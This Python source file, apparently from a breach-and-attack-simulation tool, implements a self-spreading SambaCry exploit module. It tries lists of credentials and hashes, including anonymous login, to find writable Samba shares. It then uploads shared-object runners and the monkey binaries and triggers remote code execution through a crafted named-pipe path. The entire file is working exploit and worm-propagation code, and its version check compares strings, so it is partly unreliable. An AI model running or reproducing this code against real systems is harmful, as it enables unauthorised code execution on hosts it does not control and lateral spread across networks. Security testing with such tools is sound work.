forked from p15670423/monkey
437 lines
19 KiB
Python
437 lines
19 KiB
Python
import itertools
|
|
import logging
|
|
import posixpath
|
|
import re
|
|
import time
|
|
from io import BytesIO
|
|
from os import path
|
|
|
|
import impacket.smbconnection
|
|
from impacket.nt_errors import STATUS_SUCCESS
|
|
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
|
|
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
|
|
from impacket.smb import SessionError
|
|
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, \
|
|
SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE
|
|
from impacket.smbconnection import SMBConnection
|
|
|
|
import monkeyfs
|
|
from exploit import HostExploiter
|
|
from model import DROPPER_ARG
|
|
from network.smbfinger import SMB_SERVICE
|
|
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth
|
|
|
|
__author__ = 'itay.mizeretz'
|
|
|
|
LOG = logging.getLogger(__name__)
|
|
|
|
|
|
class SambaCryExploiter(HostExploiter):
|
|
"""
|
|
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
|
|
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
|
|
"""
|
|
|
|
_TARGET_OS_TYPE = ['linux']
|
|
# Name of file which contains the monkey's commandline
|
|
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
|
|
# Name of file which contains the runner's result
|
|
SAMBACRY_RUNNER_RESULT_FILENAME = "monkey_runner_result"
|
|
# SambaCry runner filename (32 bit)
|
|
SAMBACRY_RUNNER_FILENAME_32 = "sc_monkey_runner32.so"
|
|
# SambaCry runner filename (64 bit)
|
|
SAMBACRY_RUNNER_FILENAME_64 = "sc_monkey_runner64.so"
|
|
# Monkey filename on share (32 bit)
|
|
SAMBACRY_MONKEY_FILENAME_32 = "monkey32"
|
|
# Monkey filename on share (64 bit)
|
|
SAMBACRY_MONKEY_FILENAME_64 = "monkey64"
|
|
# Monkey copy filename on share (32 bit)
|
|
SAMBACRY_MONKEY_COPY_FILENAME_32 = "monkey32_2"
|
|
# Monkey copy filename on share (64 bit)
|
|
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
|
|
|
|
def __init__(self, host):
|
|
super(SambaCryExploiter, self).__init__(host)
|
|
self._config = __import__('config').WormConfiguration
|
|
|
|
def exploit_host(self):
|
|
if not self.is_vulnerable():
|
|
return False
|
|
|
|
writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
|
|
LOG.info("Writable shares and their credentials on host %s: %s" %
|
|
(self.host.ip_addr, str(writable_shares_creds_dict)))
|
|
|
|
self._exploit_info["shares"] = {}
|
|
for share in writable_shares_creds_dict:
|
|
self._exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
|
|
self.try_exploit_share(share, writable_shares_creds_dict[share])
|
|
|
|
# Wait for samba server to load .so, execute code and create result file.
|
|
time.sleep(self._config.sambacry_trigger_timeout)
|
|
|
|
successfully_triggered_shares = []
|
|
|
|
for share in writable_shares_creds_dict:
|
|
trigger_result = self.get_trigger_result(self.host.ip_addr, share, writable_shares_creds_dict[share])
|
|
creds = writable_shares_creds_dict[share]
|
|
self.report_login_attempt(
|
|
trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash'])
|
|
if trigger_result is not None:
|
|
successfully_triggered_shares.append((share, trigger_result))
|
|
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
|
|
|
|
for share, fullpath in successfully_triggered_shares:
|
|
self._exploit_info["shares"][share]["fullpath"] = fullpath
|
|
|
|
if len(successfully_triggered_shares) > 0:
|
|
LOG.info(
|
|
"Shares triggered successfully on host %s: %s" % (
|
|
self.host.ip_addr, str(successfully_triggered_shares)))
|
|
return True
|
|
else:
|
|
LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)
|
|
return False
|
|
|
|
def try_exploit_share(self, share, creds):
|
|
"""
|
|
Tries exploiting share
|
|
:param share: share name
|
|
:param creds: credentials to use with share
|
|
"""
|
|
try:
|
|
smb_client = self.connect_to_server(self.host.ip_addr, creds)
|
|
self.upload_module(smb_client, share)
|
|
self.trigger_module(smb_client, share)
|
|
except (impacket.smbconnection.SessionError, SessionError):
|
|
LOG.debug(
|
|
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (
|
|
self.host.ip_addr, share, str(creds)))
|
|
|
|
def clean_share(self, ip, share, creds):
|
|
"""
|
|
Cleans remote share of any remaining files created by monkey
|
|
:param ip: IP of victim
|
|
:param share: share name
|
|
:param creds: credentials to use with share.
|
|
"""
|
|
smb_client = self.connect_to_server(ip, creds)
|
|
tree_id = smb_client.connectTree(share)
|
|
file_list = [self.SAMBACRY_COMMANDLINE_FILENAME, self.SAMBACRY_RUNNER_RESULT_FILENAME,
|
|
self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64,
|
|
self.SAMBACRY_MONKEY_FILENAME_32, self.SAMBACRY_MONKEY_FILENAME_64]
|
|
|
|
for filename in file_list:
|
|
try:
|
|
smb_client.deleteFile(share, "\\%s" % filename)
|
|
except (impacket.smbconnection.SessionError, SessionError):
|
|
# Ignore exception to try and delete as much as possible
|
|
pass
|
|
smb_client.disconnectTree(tree_id)
|
|
|
|
def get_trigger_result(self, ip, share, creds):
|
|
"""
|
|
Checks if the trigger yielded any result and returns it.
|
|
:param ip: IP of victim
|
|
:param share: share name
|
|
:param creds: credentials to use with share.
|
|
:return: result of trigger if there was one. None otherwise
|
|
"""
|
|
smb_client = self.connect_to_server(ip, creds)
|
|
tree_id = smb_client.connectTree(share)
|
|
file_content = None
|
|
try:
|
|
file_id = smb_client.openFile(tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME,
|
|
desiredAccess=FILE_READ_DATA)
|
|
file_content = smb_client.readFile(tree_id, file_id)
|
|
smb_client.closeFile(tree_id, file_id)
|
|
except (impacket.smbconnection.SessionError, SessionError):
|
|
pass
|
|
|
|
smb_client.disconnectTree(tree_id)
|
|
return file_content
|
|
|
|
def get_writable_shares_creds_dict(self, ip):
|
|
"""
|
|
Gets dictionary of writable shares and their credentials
|
|
:param ip: IP address of the victim
|
|
:return: Dictionary of writable shares and their corresponding credentials.
|
|
"""
|
|
writable_shares_creds_dict = {}
|
|
credentials_list = self.get_credentials_list()
|
|
|
|
LOG.debug("SambaCry credential list: %s" % str(credentials_list))
|
|
|
|
for credentials in credentials_list:
|
|
try:
|
|
smb_client = self.connect_to_server(ip, credentials)
|
|
shares = self.list_shares(smb_client)
|
|
|
|
# don't try shares we can already write to.
|
|
for share in [x for x in shares if x not in writable_shares_creds_dict]:
|
|
if self.is_share_writable(smb_client, share):
|
|
writable_shares_creds_dict[share] = credentials
|
|
|
|
except (impacket.smbconnection.SessionError, SessionError):
|
|
# If failed using some credentials, try others.
|
|
pass
|
|
|
|
return writable_shares_creds_dict
|
|
|
|
def get_credentials_list(self):
|
|
creds = self._config.get_exploit_user_password_or_hash_product()
|
|
|
|
creds = [{'username': user, 'password': password, 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}
|
|
for user, password, lm_hash, ntlm_hash in creds]
|
|
|
|
# Add empty credentials for anonymous shares.
|
|
creds.insert(0, {'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''})
|
|
|
|
return creds
|
|
|
|
def list_shares(self, smb_client):
|
|
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
|
|
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
|
|
|
|
def is_vulnerable(self):
|
|
"""
|
|
Checks whether the victim runs a possibly vulnerable version of samba
|
|
:return: True if victim is vulnerable, False otherwise
|
|
"""
|
|
if SMB_SERVICE not in self.host.services:
|
|
LOG.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
|
|
return False
|
|
|
|
pattern = re.compile(r'\d*\.\d*\.\d*')
|
|
smb_server_name = self.host.services[SMB_SERVICE].get('name')
|
|
samba_version = "unknown"
|
|
pattern_result = pattern.search(smb_server_name)
|
|
is_vulnerable = False
|
|
if pattern_result is not None:
|
|
samba_version = smb_server_name[pattern_result.start():pattern_result.end()]
|
|
samba_version_parts = samba_version.split('.')
|
|
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
|
|
is_vulnerable = True
|
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
|
|
is_vulnerable = True
|
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (
|
|
samba_version_parts[1] <= "13"):
|
|
is_vulnerable = True
|
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (
|
|
samba_version_parts[1] <= "9"):
|
|
is_vulnerable = True
|
|
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (
|
|
samba_version_parts[1] <= "3"):
|
|
is_vulnerable = True
|
|
else:
|
|
# If pattern doesn't match we can't tell what version it is. Better try
|
|
is_vulnerable = True
|
|
|
|
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
|
|
(self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
|
|
|
|
return is_vulnerable
|
|
|
|
def upload_module(self, smb_client, share):
|
|
"""
|
|
Uploads the module and all relevant files to server
|
|
:param smb_client: smb client object
|
|
:param share: share name
|
|
"""
|
|
tree_id = smb_client.connectTree(share)
|
|
|
|
with self.get_monkey_commandline_file(self._config.dropper_target_path_linux) as monkey_commandline_file:
|
|
smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read)
|
|
|
|
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
|
smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read)
|
|
|
|
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
|
|
smb_client.putFile(share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read)
|
|
|
|
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
|
|
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
|
|
|
|
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
|
|
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read)
|
|
|
|
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
|
|
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
|
|
|
|
smb_client.disconnectTree(tree_id)
|
|
|
|
def trigger_module(self, smb_client, share):
|
|
"""
|
|
Tries triggering module
|
|
:param smb_client: smb client object
|
|
:param share: share name
|
|
:return: True if might triggered successfully, False otherwise.
|
|
"""
|
|
trigger_might_succeeded = False
|
|
module_possible_paths = self.generate_module_possible_paths(share)
|
|
for module_path in module_possible_paths:
|
|
trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
|
|
|
|
return trigger_might_succeeded
|
|
|
|
def trigger_module_by_path(self, smb_client, module_path):
|
|
"""
|
|
Tries triggering module by path
|
|
:param smb_client: smb client object
|
|
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
|
|
:return: True if might triggered successfully, False otherwise.
|
|
"""
|
|
|
|
try:
|
|
# the extra / on the beginning is required for the vulnerability
|
|
self.open_pipe(smb_client, "/" + module_path)
|
|
except Exception as e:
|
|
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
|
|
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
|
return True
|
|
else:
|
|
pass
|
|
|
|
return False
|
|
|
|
def generate_module_possible_paths(self, share_name):
|
|
"""
|
|
Generates array of possible paths
|
|
:param share_name: Name of the share
|
|
:return: Array of possible full paths to the module.
|
|
"""
|
|
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
|
|
file_names = [self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64]
|
|
return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)]
|
|
|
|
def get_monkey_runner_bin_file(self, is_32bit):
|
|
if is_32bit:
|
|
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_32), "rb")
|
|
else:
|
|
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
|
|
|
def get_monkey_commandline_file(self, location):
|
|
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))
|
|
|
|
@staticmethod
|
|
def is_share_writable(smb_client, share):
|
|
"""
|
|
Checks whether the share is writable
|
|
:param smb_client: smb client object
|
|
:param share: share name
|
|
:return: True if share is writable, False otherwise.
|
|
"""
|
|
LOG.debug('Checking %s for write access' % share)
|
|
try:
|
|
tree_id = smb_client.connectTree(share)
|
|
except (impacket.smbconnection.SessionError, SessionError):
|
|
return False
|
|
|
|
try:
|
|
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
|
|
writable = True
|
|
except (impacket.smbconnection.SessionError, SessionError):
|
|
writable = False
|
|
pass
|
|
|
|
smb_client.disconnectTree(tree_id)
|
|
|
|
return writable
|
|
|
|
@staticmethod
|
|
def connect_to_server(ip, credentials):
|
|
"""
|
|
Connects to server using given credentials
|
|
:param ip: IP of server
|
|
:param credentials: credentials to log in with
|
|
:return: SMBConnection object representing the connection
|
|
"""
|
|
smb_client = SMBConnection(ip, ip)
|
|
smb_client.login(
|
|
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
|
|
return smb_client
|
|
|
|
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
|
|
@staticmethod
|
|
def create_smb(smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
|
|
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
|
|
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
|
|
|
|
packet = smb_client.getSMBServer().SMB_PACKET()
|
|
packet['Command'] = SMB2_CREATE
|
|
packet['TreeID'] = treeId
|
|
if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
|
|
packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
|
|
|
|
smb2Create = SMB2Create()
|
|
smb2Create['SecurityFlags'] = 0
|
|
smb2Create['RequestedOplockLevel'] = oplockLevel
|
|
smb2Create['ImpersonationLevel'] = impersonationLevel
|
|
smb2Create['DesiredAccess'] = desiredAccess
|
|
smb2Create['FileAttributes'] = fileAttributes
|
|
smb2Create['ShareAccess'] = shareMode
|
|
smb2Create['CreateDisposition'] = creationDisposition
|
|
smb2Create['CreateOptions'] = creationOptions
|
|
|
|
smb2Create['NameLength'] = len(fileName) * 2
|
|
if fileName != '':
|
|
smb2Create['Buffer'] = fileName.encode('utf-16le')
|
|
else:
|
|
smb2Create['Buffer'] = '\x00'
|
|
|
|
if createContexts is not None:
|
|
smb2Create['Buffer'] += createContexts
|
|
smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
|
|
smb2Create['CreateContextsLength'] = len(createContexts)
|
|
else:
|
|
smb2Create['CreateContextsOffset'] = 0
|
|
smb2Create['CreateContextsLength'] = 0
|
|
|
|
packet['Data'] = smb2Create
|
|
|
|
packetID = smb_client.getSMBServer().sendSMB(packet)
|
|
ans = smb_client.getSMBServer().recvSMB(packetID)
|
|
if ans.isValidAnswer(STATUS_SUCCESS):
|
|
createResponse = SMB2Create_Response(ans['Data'])
|
|
|
|
# The client MUST generate a handle for the Open, and it MUST
|
|
# return success and the generated handle to the calling application.
|
|
# In our case, str(FileID)
|
|
return str(createResponse['FileID'])
|
|
|
|
@staticmethod
|
|
def open_pipe(smb_client, pathName):
|
|
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
|
|
# to make things easier for the caller. Not this time ;)
|
|
treeId = smb_client.connectTree('IPC$')
|
|
LOG.debug('Triggering path: %s' % pathName)
|
|
|
|
if smb_client.getDialect() == SMB_DIALECT:
|
|
_, flags2 = smb_client.getSMBServer().get_flags()
|
|
|
|
pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName
|
|
|
|
ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
|
|
ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
|
|
ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
|
|
ntCreate['Parameters']['FileNameLength'] = len(pathName)
|
|
ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
|
|
ntCreate['Parameters']['FileAttributes'] = 0
|
|
ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
|
|
ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
|
|
ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
|
|
ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
|
|
ntCreate['Parameters']['SecurityFlags'] = 0
|
|
ntCreate['Parameters']['CreateFlags'] = 0x16
|
|
ntCreate['Data']['FileName'] = pathName
|
|
|
|
if flags2 & SMB.FLAGS2_UNICODE:
|
|
ntCreate['Data']['Pad'] = 0x0
|
|
|
|
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
|
else:
|
|
return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
|
|
shareMode=FILE_SHARE_READ,
|
|
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
|
|
fileAttributes=0)
|